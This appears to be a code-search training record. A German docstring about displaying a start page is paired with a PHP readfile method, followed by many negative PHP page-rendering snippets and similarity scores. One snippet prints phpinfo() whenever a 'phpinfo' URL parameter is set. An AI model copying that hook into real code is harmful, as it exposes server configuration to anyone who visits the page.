Stellt den Inhalt der Startseite dar (start.html). | private function printStartPage() {
readfile ( 'html/start.html' );
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function showStart() {\n $starturl = $this->action . '?mode=eligible';\n $extra = array('starturl' => $starturl);\n $output = $this->outputBoilerplate('start.html', $extra);\n return $output;\n }",
"function gettingStarted()\n {\n $data['$option'] = \"doc/gettingstarted\";\n $this->loadContent('doc/home', $data);\n }",
"public function getStartPage();",
"public function startHTML() {\n $css = CSS; \n // if we have a .css in the config.class \n if(isset($css)) {\n $link = \" <link rel='stylesheet' href='\" . CSS . \"'>\\n\"; \n }\n \n echo \"<!DOCTYPE html>\\n\" \n . \"<html>\\n\" \n . \"<head>\\n\";\n echo $link; \n echo \"<meta charset='UTF-8'>\\n\"\n . \"<title>tablemaster</title>\\n\"\n . \"</head>\\n\"\n . \"<body>\\n\"; \n \n }",
"public function start()\n\t{\n\t\t$page = 'getting started';\n\t\treturn view('dashboard.start', compact('page'));\n\t}",
"public function gettingStartedAction()\n {\n return $this->render('BraincraftedBootstrapDemoBundle:Bootstrap:gettingStarted.html.twig');\n }",
"public function start()\n {\n $model = new NewModel();\n $listeNews = $model->getNews();\n\n $this->view->home($listeNews);\n }",
"public function start()\n {\n $whoops = new Run();\n $handler = new PrettyPageHandler();\n\n $handler->addResourcePath(__DIR__.'/Resources');\n $handler->setEditor('sublime');\n\n $whoops->pushHandler($handler);\n $whoops->register();\n\n $this->whoops = $whoops;\n }",
"public function displayPageStart()\n {\n if( isset( $_SERVER[\"HTTP_HOST\"] ) && true === $this->display )\n {\n echo '<pre style=\"font-size: 11px; line-height: 7px;\">';\n }\n }",
"function getting_start_content(){\n\n\t\t\t\t$options = apply_filters('gdlr_core_getting_start_option', array(), $this->settings['slug']);\n\n\t\t\t\techo '<div class=\"gdlr-core-getting-start-wrap clearfix\" >';\n\t\t\t\t$this->get_header($options['header']);\n\n\t\t\t\t$this->get_content($options['content']);\n\t\t\t\techo '</div>'; // gdlr-core-getting-start-wrap\n\n\t\t\t\tif( isset($_GET['phpinfo']) ) print_r( phpinfo() );\n\t\t\t}",
"public static function start(): void {\n }",
"public function start(): void {}",
"public function run() {\n$this->header('Content-Type: text/html');\n?><!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\n\t<title>Game servers</title>\n</head>\n<body>\n</body>\n</html><?php\n}",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start();",
"public function start(){\n\n $this->callView();\n\n }",
"public function start_display ()\n {\n $this->display_doc_type ();\n\n $opts = $this->page->template_options;\n if ($opts->css_class)\n {\n?>\n<html class=\"<?php echo $opts->css_class; ?>\" lang=\"<?php echo $opts->language; ?>\">\n<?php\n }\n else\n {\n?>\n<html lang=\"<?php echo $opts->language; ?>\">\n<?php\n }\n?>\n <head>\n <?php\n $this->display_head ();\n ?>\n </head>\n <body>\n<?php\n\n $this->_start_body ();\n }",
"function startup_view()\n\t{\n\t\t$data['error_msg'] = $this->error_msg;\n\t\t$response_body = $this->template_html($this->html_template_path,$data);\n\t\t$this->return_response($response_body);\n\t}",
"function startHTML(){\n echo \"<!DOCTYPE HTML>\\n<html>\\n<body>\\n\";\n}",
"public function actionIndex()\n\t{\n\t $this->pageTitle = 'Get Started';\n\t\t$this->render('index');\n\t}",
"public function start(): void;",
"public function preStartPageHook() {}",
"public function preStartPageHook() {}",
"function showPage() \n\t{\n\t\t$this->xt->display($this->templatefile);\n\t}",
"private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->fixHTML5();\n $output .= $this->registerCustomResources();\n $output .= '</head><body>';\n echo $output;\n }",
"function HTML_StartHead(){\n\t\techo \"<!DOCTYPE html>\\n\";\n\t\techo \"<html>\\n\";\n\t\techo \"<head>\\n\";\n}",
"abstract public function start();",
"abstract public function start();",
"public function start($start = null)\n {\n // TODO: Implement start() method.\n }",
"private function setupPage ()\n {\n $output = '<!DOCTYPE html><html lang=\"en\"><head>';\n $output .= $this->setCharacterEncoding();\n $output .= $this->setPageTitle();\n $output .= $this->setBasePath();\n $output .= $this->registerResource('css', $this->cssResource);\n $output .= $this->registerResource('js', $this->jsResource);\n $output .= $this->fixHTML5();\n $output .= '</head><body>';\n echo $output;\n }",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function start() {}",
"public function startNewPage()\n {\n }",
"public function start()\n {\n $model = new UserModel();\n $listeUser = $model->getUsers();\n $this->view->home($listeUser);\n }",
"public function start()\n {\n // TODO: Implement start() method.\n }",
"public function displayPageStart() {\r\n\t\t\r\n\t\t$html = '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"';\r\n\t\t$html .= '\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">';\r\n\r\n\t\t$html .= '<html xmlns=\"http://www.w3.org/1999/xhtml\">';\r\n\t\t$html .= \"<head>\";\r\n\t\t$html .= '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />';\r\n\t\t// get title from the entity?...\r\n\t\t$html .= \"<title>NGOData hosted data management system</title>\";\r\n\t\t\r\n\t\t$html .= '<link href=\"/css/oneColFixCtr.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t//$html .= '<link href=\"'.dirname(dirname($_SERVER['DOCUMENT_ROOT'])).'/ngodata/css/oneColFixCtr.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t//$html .= '<link href=\"'.self::getPath('css').'oneColFixCtr.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t//$html .= '<link href=\"../css/superfish.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t\r\n\t\t$html .= '<link rel=\"stylesheet\" href=\"/css/menu_style.css\" type=\"text/css\" />';\r\n\t\t//$html .= '<link rel=\"stylesheet\" href=\"'.dirname(dirname($_SERVER['DOCUMENT_ROOT'])).'/ngodata/css/menu_style.css\" type=\"text/css\" />';\r\n\t\t//$html .= '<link rel=\"stylesheet\" href=\"'.self::getPath('css').'menu_style.css\" type=\"text/css\" />';\r\n\t\t\r\n\t\t$html .= \"</head>\";\r\n\r\n\t\t$html .= \"<body>\";\r\n\t\t$html .= \"<div class=\\\"container\\\">\";\r\n\t\t$html .= \"<div class=header>\";\r\n\t\t$html .= \"<!-- Logo Goes here -->\";\r\n\t\t//$html .= \"Logo\";\r\n\t\t$html .= '<img src=\"'.self::getPath('images').'NGODataLogo-noBack.png\" alt=\"NGOData logo\" />';\r\n\t\t$html .= \"<!-- End Logo -->\";\r\n\t\t$html .= \"</div>\";\r\n\t\t\r\n\t\t\r\n\t\t// the menu items\r\n\t\t$html .= '<div class=\"menu\">';\r\n\t\t$html .= '<ul>';// class=\"sf-menu\">';\r\n\t\t$html .= \"<!-- Add menu items by adding <li> tags -->\";\r\n \r\n\t\t$html .= '<li><a href=\"'.self::getPath('home').'\">Home</a> ';\r\n\t\t$html .= \"<!-- Start Sub Menu Items -->\";\r\n\t\t//$html .= '<ul>';// class=\\\"subnav\\\">\";\r\n\t\t//$html .= '<li><a href=\"#\">Sub Nav</a></li>';\r\n\t\t//$html .= '<li><a href=\"#\\>Sub Nav</a></li>';\r\n\t\t//$html .= \"</ul>\";\r\n\t\t$html .= \"<!-- End Sub MEnu Item --> \";\r\n\t\t$html .= \"</li>\";\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t// If authorised, can add other options here\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Services</a>\";\r\n\t\t$html .= '<ul>'; //class=\\\"subnav\\\">\";\r\n\t\t$html .= '<li><a href=\"NGODataController.php?request=auth\">NGOData login</a></li>';\r\n\t\t//$html .= '<li><a href=\"'.$_SERVER['DOCUMENT_ROOT'].'/NGODataController.php?request=auth\">NGOData login</a></li>';\r\n\t\t$html .= '<li><a href=\"NGODataController.php?request=reg\">Register</a></li>';\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</li>\";\r\n\t\t\r\n\t\t\r\n\t\t$html .= \"<li><a href=\\\"#\\\">About</a>\";\r\n\t\t$html .= \"<ul class=\\\"subnav\\\">\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</li>\";\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</div>\";\r\n\r\n\t\treturn $html;\r\n\t}",
"public function index()\n\t{\n\t\t$this->twig->display('welcome/index.html', []);\n\t}",
"public function start()\n {\n }",
"public function start()\n {\n }",
"public function start()\n {\n }",
"public function playground( )\n {\n\n $request = $this->getRequest();\n\n $template = $request->paramExists('template')?\n $request->param('template',Validator::CNAME)\n :'def';\n\n $this->view->setTitle('Welcome to Webfrap');\n $this->view->setTemplate( 'playground/'.$template );\n\n }",
"public function frontpage() {\n\t\t\n\t\t$this->set('page_title', 'Welcome'); // this is hardcoded for index page\n\t\t$this->render('index');\n\t}",
"public static function start()\n\t{\n\t\trequire_once dirname(__FILE__) . '/MenuElement.php';\n\t\t$menuElements = \\tuts\\MenuElement::getListOfTypeMenuElement(\n\t\t\tarray(\n\t\t\t\t'forAutocompletion' => false\n\t\t\t));\n\t\t$menu = '';\n\t\tforeach ($menuElements as $idMenuElement => $menuElement) {\n\t\t\trequire_once dirname(__FILE__) . '/MenuElementView.php';\n\t\t\t$menu .= \\tuts\\MenuElementView::buildMenuElement(\n\t\t\t\tarray(\n\t\t\t\t\t'menuElement' => $menuElement['object']\n\t\t\t\t));\n\t\t}\n\t\trequire_once dirname(__FILE__) . '/Service.php';\n\t\t$services = \\tuts\\Service::getListOfTypeService(\n\t\t\tarray(\n\t\t\t\t'forAutocompletion' => false\n\t\t\t));\n// \t\techo ' 41: <pre>';var_dump($services); echo '</pre>';\n\t\t$blockOfServices = '';\n\t\tforeach ($services as $idService => $service) {\n\t\t\trequire_once dirname(__FILE__) . '/ServiceView.php';\n\t\t\t$blockOfServices .= \\tuts\\ServiceView::buildService(\n\t\t\t\tarray(\n\t\t\t\t\t'service' => $service['object']\n\t\t\t\t));\n\t\t}\n\t\trequire_once dirname(__FILE__) . '/View.php';\n\t\techo \\tuts\\View::buildView(\n\t\t\tarray(\n\t\t\t\t'menu' => $menu,\n\t\t\t\t'services' => $blockOfServices\n\t\t\t));\n\t}",
"private function start()\n {\n // CSRF Watchdog\n $this->csrfWatchdog();\n\n // Retrieve and other services\n $this->retriever->watchdog();\n\n // Router Templater Hybrid\n $this->renderer->route();\n }",
"public function index() {\n //echo file_get_contents(APP_PATH .\"/views/home/index.html\");\n }",
"function start_html($extra = '')\n{\n /** Starting the HTML document */\n start_tag('html', '', true, $extra) ;\n}",
"abstract function start();",
"public function indexAction()\n {\n $this->setTemplateName('start-page');\n $this->setPageTitle('Tickets');\n\n return $this->getResponse();\n }",
"public function start($start);",
"public function start() {\n\n // TODO: Maybe sometimes\n\n }",
"function start();",
"function start();",
"public function home()\n {\n $params = [\n 'name' => 'xEiBi'\n ];\n\n return $this->render('home', $params);\n }",
"public static function Index(){\n Output::SetNamespace(\"helloworld\");\n Output::UseSmarty();\n Output::SetTemplate(Storage::Join(\"app.helloworld.shell.tpl\", \"index.tpl\"));\n Output::AppendCSS(Storage::Join(\"app.helloworld.shell.css\", \"index.css\"));\n Output::Send();\n }",
"public function mainAction() {\n\t\t$this->setView('include/timer-form.php');\n\t\t$this->view();\n\t}",
"function displayStartup()\n\t{\n\t\t$this->tpl->addBlockFile(\"CONTENT\",\"content\",\"tpl.clientsetup.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"TXT_INFO\",$this->lng->txt(\"info_text_first_client\"));\n\t\t$this->tpl->setVariable(\"TXT_HEADER\",$this->lng->txt(\"setup_first_client\"));\n\n\t\t$this->displayProcessPanel();\n\n\t\t$this->setButtonNext(\"ini\");\n\t}",
"public function hello()\n {\n // rendu du fichizer qui construit le html\n // contenu dans la page\n // Chemin à partri de la racine du repetoire templates\n return $this->render('index/hello.html.twig');\n }",
"public function index() \n\t{\n\t\tif(! $this->xmlHttpRequest){\n\t\t\t$this->registry->template->show($this->file . $this->extension);\n\t\t}\n\t\telse{\n\t\t\t$this->process();\n\t\t}\n\t}",
"public function start() {\n\t\t$this->writeTitle();\n\t\t\n\t\t$this->showAllTable();\n\t\t\n\t\t$this->addEntityForm();\n\t}",
"public function run()\n {\n $this->welcome();\n }",
"public function start()\n {\n die(\"Must override this function in a driver\");\n }",
"public function indexAction() \n {\n $this->loadLibrary('Time', 'time'); \n\n $this->assign('nowtime', $this->time->printTime());\n $this->assign('title', 'Start page');\n $this->assign('text1', 'It is text 1');\n $this->assign('text2', 'It is text 2'); //$this->text2 = 'It is text 2'; \n }",
"function displayPageStart() {\r\n\t\t\r\n\t\t//public function displayPageStart($titleText, $options) {\r\n\t\t\r\n\t\t$html = \"<!DOCTYPE html PUBLIC \\\"-//W3C//DTD XHTML 1.0 Transitional//EN\\\"\";\r\n\t\t$html .= \"\\\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\\\">\";\r\n\r\n\t\t$html .= \"<html xmlns=\\\"http://www.w3.org/1999/xhtml\\\">\";\r\n\t\t$html .= \"<head>\";\r\n\t\t$html .= \"<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=UTF-8\\\" />\";\r\n\t\t// get title from the entity?...\r\n\t\t$html .= \"<title>NGOData hosted data management system</title>\";\r\n\t\t\r\n\t\t$html .= '<link href=\"oneColFixCtr.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t//$html .= '<link href=\"superfish.css\" rel=\"stylesheet\" type=\"text/css\" />';\r\n\t\t$html .= '<link rel=\"stylesheet\" href=\"menu_style.css\" type=\"text/css\" />';\r\n\t\t\r\n\t\t$html .= \"</head>\";\r\n\r\n\t\t$html .= \"<body>\";\r\n\t\t$html .= \"<div class=\\\"container\\\">\";\r\n\t\t$html .= \"<div class=header>\";\r\n\t\t$html .= \"<!-- Logo Goes here -->\";\r\n\t\t//$html .= \"Logo\";\r\n\t\t$html .= '<img src=\"NGODataLogo-noBack.png\" alt=\"NGOData logo\" />';\r\n\t\t$html .= \"<!-- End Logo -->\";\r\n\t\t$html .= \"</div>\";\r\n\t\t\r\n\t\t\r\n\t\t// the menu items\r\n\t\t$html .= '<div class=\"menu\">';\r\n\t\t$html .= '<ul>';// class=\"sf-menu\">';\r\n\t\t$html .= \"<!-- Add menu items by adding <li> tags -->\";\r\n \r\n\t\t$html .= \"<li><a href=\\\"#\\\">Home</a> \";\r\n\t\t$html .= \"<!-- Start Sub Menu Items -->\";\r\n\t\t//$html .= '<ul>';// class=\\\"subnav\\\">\";\r\n\t\t//$html .= '<li><a href=\"#\">Sub Nav</a></li>';\r\n\t\t//$html .= '<li><a href=\"#\\>Sub Nav</a></li>';\r\n\t\t//$html .= \"</ul>\";\r\n\t\t$html .= \"<!-- End Sub MEnu Item --> \";\r\n\t\t$html .= \"</li>\";\r\n\t\t\r\n\t\t\r\n\t\t$html .= \"<li><a href=\\\"#\\\">About</a>\";\r\n\t\t$html .= '<ul>'; //class=\\\"subnav\\\">\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</li>\";\r\n\t\t\r\n\t\t\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Services</a>\";\r\n\t\t$html .= \"<ul class=\\\"subnav\\\">\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"<li><a href=\\\"#\\\">Sub Nav</a></li>\";\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</li>\";\r\n\t\t\r\n\t\t\r\n\t\t$html .= \"</ul>\";\r\n\t\t$html .= \"</div>\";\r\n\r\n\t\t//return $html;\r\n\r\n\t\treturn $html;\r\n\t}",
"public function home()\r\n {\r\n\r\n $view = new Template();\r\n echo $view->render('views/home.html');\r\n }",
"public static function start_head()\n\t{\n\t\t?>\n\t\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\t\t<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"fr\" lang=\"fr\">\n\t\t<head>\n\t\t<title></title>\n\t\t<link rel=\"shortcut icon\" href=\"favicon.ico\" />\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n\t\t<meta http-equiv=\"content-language\" content=\"fr\" />\n\t\t<link href=\"style.css\"\ttitle=\"Défaut\" rel=\"stylesheet\" type=\"text/css\" media=\"screen\" />\n\t\t\n <?php\n\t}",
"public function header()\n {\n echo \"<!doctype html>\\n<html lang='pt'>\\n<head>\\n\";\n echo \"\\t<meta charset='UTF-8'>\\n\";\n echo \"\\t<title>{$this->controller->getTitle()}</title>\\n\";\n $this->links();\n echo \"</head>\\n<body>\\n\";\n }",
"public function get_initial_page() {\n\t\treturn 'welcome-page';\n\t}",
"public function startContent() {\n ob_start();\n }",
"function index() {\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$this->setupTemplate();\n\t\t$templateMgr->display('management/tools/index.tpl');\n\t}",
"public function index()\n {\n $this->render('home/home');\n }",
"public function indexAction() {\n $this->view->title = 'Hello World !';\n $this->view->headTitle('Hello World !');\n }",
"public function indexAction() {\r\n $this->view->title = 'Hello World !';\r\n $this->view->headTitle('Hello World !');\r\n }",
"function start()\n {\n ob_start();\n ob_implicit_flush(0);\n }",
"public function begin()\n\t{\n\t\t$this->show('<h3>' . get_class($this) . '</h3>' . LF . '<ul>' . LF);\n\t}",
"function head() {\n\n\techo '<h1>ATOM.CMS</h1>';\n\t\n}",
"public function index() \n\t{\n\t\t$this->_render_hod_view('home');\n\t}",
"function tpl_processStartPage($ns,$context) {\n // Check if a start page exists and add it first\n global $conf;\n $pageExists = false;\n $startPageName = $conf['start'];\n if ($ns == \"\") {\n $startPageID = $startPageName;\n } else {\n $startPageID = $ns . \":\" . $startPageName;\n }\n\n $startPagePath = $startPageID;\n\n resolve_pageid($ns, $startPagePath,$pageExists);\n\n if ($pageExists) {\n // Check if page is visible\n\n $perm = auth_quickaclcheck($startPageID);\n if ($perm > 0) {\n\n // Determine Page Title from first heading\n $firstHeading = p_get_first_heading($startPageID);\n\n if ($conf['useheading'] && !empty($firstHeading)) {\n $linkName = $firstHeading;\n } else {\n $linkName = $startPageName;\n }\n // echo \"<b>\" . $conf['useheading'] .\"</b>\";\n tpl_pageLinkCreate($startPageID, '<i class=\"icon-home\"></i>'.$linkName, \"tpl_processStartPage:$context\");\n }\n\n }\n}",
"function index(){\n\t\t$this->template->run();\n\t}",
"public function indexAction()\n {\n $this->page = Brightfame_Builder::loadPage(null, 'initialize.xml');\n \n // load the data\n Brightfame_Builder::loadPage(null, 'load_data.xml', $this->page);\n\n // load the view\n Brightfame_Builder::loadPage(null, 'load_view.xml', $this->page, $this->view);\n \n // render the page\n $this->view->page = $this->page;\n $this->view->layout()->page = $this->page->getParam('xhtml');\n }",
"function welcome() {\r\n\r\n return $this->render('welcome', array());\r\n }",
"private function printTaskPage() {\n\t\treadfile ( 'html/task.html' );\n\t}",
"public function index() {\n\n\t\t\t$controller = $this->nav->getPageController();\n\t\t\tif(isset($controller) && is_object($controller)) {\n\t\t\t\tassert($controller instanceof \\Toeswade\\IController);\n\n\t\t\t\t$action = $this->nav->getPageAction();\n\t\t\t\t$params = $this->nav->getParams();\n\t\t\t\t\n\t\t\t\tif(isset($action)) {\n\t\t\t\t\t$view = $controller->$action($params);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$view = $controller->index();\n\t\t\t\t}\n\n\t\t\t\tassert($view instanceof \\Toeswade\\IView);\n\t\t\t\t$main = $view->getHTML();\n\t\t\t\t$title = $view->getTitle();\n\n\t\t\t}\n\n\t\t\telse {\n\t\t\t\t$main = 'default';\n\t\t\t\t$title = $main;\n\t\t\t}\n\t\t\t$this->view->setTitle($title);\n\t\t\t$this->view->setMain($main);\n\t\t\t$this->view->setNav($this->nav->getMainNavigation());\n\n\t\t\t$this->view->render();\n\t\t}"
] | [
"0.73005944",
"0.7065644",
"0.69737226",
"0.6869705",
"0.6842079",
"0.6665978",
"0.665149",
"0.6649595",
"0.66488636",
"0.65963984",
"0.6525263",
"0.6505508",
"0.6483799",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6448926",
"0.6432794",
"0.63987786",
"0.6392574",
"0.6376388",
"0.6366959",
"0.63600713",
"0.63525456",
"0.63525456",
"0.634243",
"0.63142425",
"0.6311756",
"0.6297871",
"0.6297871",
"0.62963694",
"0.6293859",
"0.62905675",
"0.6289067",
"0.6289067",
"0.62886584",
"0.62882656",
"0.62882656",
"0.62882656",
"0.62882656",
"0.62882656",
"0.62882656",
"0.62752616",
"0.62462807",
"0.6241347",
"0.6240124",
"0.62376434",
"0.62363255",
"0.62363255",
"0.62363255",
"0.622429",
"0.6212447",
"0.62104636",
"0.62070686",
"0.6202386",
"0.61987764",
"0.6194833",
"0.6192742",
"0.61553055",
"0.61543524",
"0.61386967",
"0.61386967",
"0.61264133",
"0.61066777",
"0.60947084",
"0.608452",
"0.6079815",
"0.6075917",
"0.60698247",
"0.60650796",
"0.6043427",
"0.603357",
"0.6014539",
"0.60138834",
"0.5989508",
"0.59782034",
"0.59564734",
"0.59512",
"0.5950232",
"0.59242535",
"0.5923545",
"0.5916022",
"0.5909092",
"0.5904086",
"0.59013695",
"0.5891625",
"0.5890399",
"0.58875585",
"0.58786434",
"0.5878497",
"0.5873914",
"0.58681965"
] | 0.831363 | 0 |
Stellt den Inhalt der Auswahlseite dar, indem er alle Dateien im Ordner der Lektionen auflistet, die nicht mit "stat" enden. | private function printSelectionPage() {
echo '<ul data-role="listview" data-inset="true">';
$dir = new DirectoryIterator ( $this::filesPath );
foreach ( $dir as $fileinfo ) {
if (! $fileinfo->isDot ()) {
$fileName = pathinfo ( $fileinfo->getFilename (), PATHINFO_FILENAME );
$fileFullPath = $fileinfo->getPath () . '/' . $fileinfo;
$lection = fgets ( fopen ( $fileFullPath, 'r' ) );
if (strcmp ( "-stat", substr ( $fileName, - 5 ) ) != 0) {
echo '<li>
<a class="ui-btn ui-btn-icon-right ui-icon-carat-r" data-form="ui-btn-up-a" href="?q=lesson&l=', $fileName, '">', $lection, '</a>
</li>';
}
}
}
echo '</ul>';
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function getDateDebut();",
"function hentAlleAktiviteter()\n{\n return Aktivitet::All()->sortByDesc(\"Dato\");\n}",
"public function getDateSortie() {\n return $this->dateSortie;\n }",
"function tous_auteurs_date_passage() {\r\n\tglobal $couleur_claire, $connect_id_auteur;\r\n\r\n\t// fixer le nombre de ligne du tableau (tranche)\r\n\t$fl = $GLOBALS['actijour']['nbl_aut'];\r\n\r\n\t// recup $vl dans URL\r\n\t$dl = intval(_request('vl'));\r\n\t$dl = ($dl + 0);\r\n\t// valeur de tranche affichꥍ\r\n\t$nba1 = $dl + 1;\r\n\r\n\t$p_st = _request('st');\r\n\tif (!$p_st) {\r\n\t\t$where_st = \"statut IN ('0minirezo','1comite','6forum')\";\r\n\t\t$p_st = 'tous';\r\n\t} else {\r\n\t\t$where_st = \"statut = \" . _q($p_st);\r\n\t}\r\n\r\n\t$q = sql_select(\"SQL_CALC_FOUND_ROWS id_auteur, statut, nom,\r\n\t\t\t\t\t\tDATE_FORMAT(en_ligne,'%d/%m/%y %H:%i') AS vu \"\r\n\t\t. \"FROM spip_auteurs \"\r\n\t\t. \"WHERE $where_st \"\r\n\t\t. \"ORDER BY en_ligne DESC,nom \"\r\n\t\t. \"LIMIT $dl,$fl\"\r\n\t);\r\n\r\n\t// recup nombre total d'entrees\r\n\t$nl = sql_select(\"FOUND_ROWS()\");\r\n\t$found = @sql_fetch($nl);\r\n\t$nb_auteurs = $found['FOUND_ROWS()'];\r\n\r\n\t$ifond = 0;\r\n\r\n\t$aff = '';\r\n\r\n\t# onglet select statut\r\n\t$lst_statut = array('tous', '0minirezo', '1comite', '6forum');\r\n\t$script = _request('exec');\r\n\r\n\t$aff .= debut_onglet();\r\n\tforeach ($lst_statut as $statut) {\r\n\t\t$aff .= onglet(_T('actijour:onglet_connect_' . $statut),\r\n\t\t\tgenerer_url_ecrire($script, 'st=' . ($statut == 'tous' ? '' : $statut)),\r\n\t\t\t$statut,\r\n\t\t\t($p_st == $statut ? $statut : ''), '');\r\n\t}\r\n\t$aff .= fin_onglet();\r\n\r\n\r\n\t# tableau\r\n\t#\r\n\t$aff .= debut_cadre_relief(\"annonce.gif\", true);\r\n\r\n\t$aff .= \"<table align='center' border='0' cellpadding='2' cellspacing='0' width='100%'>\\n\"\r\n\t\t. \"<tr><td colspan='3' class='verdana3 bold'>\" . _T('actijour:tous_date_connections')\r\n\t\t. \"</td></tr>\";\r\n\t# Tranches\r\n\t$aff .= \"<tr><td colspan='3' class='verdana3 bold'>\";\r\n\t$aff .= \"<div align='center' class='iconeoff verdana2 bold' style='clear:both;'>\\n\"\r\n\t\t. tranches_liste_art($nba1, $nb_auteurs, $fl)\r\n\t\t. \"\\n</div>\\n\";\r\n\t$aff .= \"</td></tr>\";\r\n\r\n\twhile ($row = sql_fetch($q)) {\r\n\t\t$ifond = $ifond ^ 1;\r\n\t\t$couleur = ($ifond) ? '#FFFFFF' : $couleur_claire;\r\n\r\n\t\t$aff .= \"<tr bgcolor='$couleur'>\"\r\n\t\t\t. \"<td width='5%'>\\n\"\r\n\t\t\t. bonhomme_statut($row) . \"</td>\\n\"\r\n\t\t\t. \"<td width='75%'>\"\r\n\t\t\t. \"<a class='verdana2 bold' href='\" . generer_url_ecrire(\"auteur_infos\", \"id_auteur=\" . $row['id_auteur']) . \"'>\"\r\n\t\t\t. entites_html($row['nom']) . \"</a>\\n\"\r\n\t\t\t. \"<td width='20%'>\\n\"\r\n\t\t\t. \"<div align='right' class='verdana1'>\" . $row['vu'] . \"</div>\\n\"\r\n\t\t\t. \"</td></tr>\\n\";\r\n\r\n\t}\r\n\t$aff .= \"</table>\\n\\n\";\r\n\r\n\t$aff .= fin_cadre_relief(true);\r\n\r\n\treturn $aff;\r\n}",
"function logCheckOnWorkDate()\n\t{\n\t\t// Soll durchgefuehrt werden?\n\t\tif (!$this->m_enable || !$this->m_eraseFilesEnable)\n\t\t{\t\n\t\t\treturn 0;\n\t\t}\n\t\t\n\t\t// Suche nach Dateien in Verzeichnis\n\t\t$dir = sprintf(\"%s%s\", $this->m_base, $this->m_sub);\n\t\tif (($resource = opendir($dir)) != false)\n\t\t{\t\n\t\t\twhile(($file = readdir($resource)) != false)\n\t\t\t{\n\t\t\t\tif ($file == \".\" || $file == \"..\") continue;\n\t\t\t\t\n\t\t\t\t// Passt Dateiname zu Format der Logdateinamen\n\t\t\t\tif (eregi($this->m_fileNameTemplateMatch, $file))\n\t\t\t\t{\n\t\t\t\t\t// In Liste aufnehmen\n\t\t\t\t\t$fileList[$fileCount++] = $file;\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir($resource);\n\t\n\t\t\t// Wurden Dateien gefunden.\n\t\t\tif ($fileCount)\n\t\t\t{\t\n\t\t\t\t$fileCount = 0;\n\t\t\t\t// Array der gefundenen Dateien sortieren.\n\t\t\t\trsort($fileList);\n\t\t\t\t\n\t\t\t\tfor (; count($fileList);)\n\t\t\t\t{\t\n\t\t\t\t\t// Ist Datei von selbigem Datum?\n\t\t\t\t\tif (strncmp($tmp, $fileList[0], 10) == false)\n\t\t\t\t\t{\n\t\t\t\t\t\t// Datei mit gleichem Datums-Zeichenfolgenbeginn\n\t\t\t\t\t\t// Kann sein, da fuer verschiedene Kanaele gelogt werden kann.\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t// Datums-Zeichenfolge des Dateinamen aufnehmen.\n\t\t\t\t\t\t$tmp = $fileList[0];\n\t\t\t\t\t\t$fileCount++; // Zu erhaltende Datei\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Datumsbereich der zu erhaltenden Dateien ueberschritten?\n\t\t\t\t\tif ($fileCount > $this->m_eraseFilesCount)\n\t\t\t\t\t{\n\t\t\t\t\t\t$file = $this->m_base . $this->m_sub . $fileList[0];\n\t\t\t\t\t\tif (unlink($file) == false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// Konnte nicht geloescht werden!\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t//echo \"Erase file: \" . $fileList[0] . 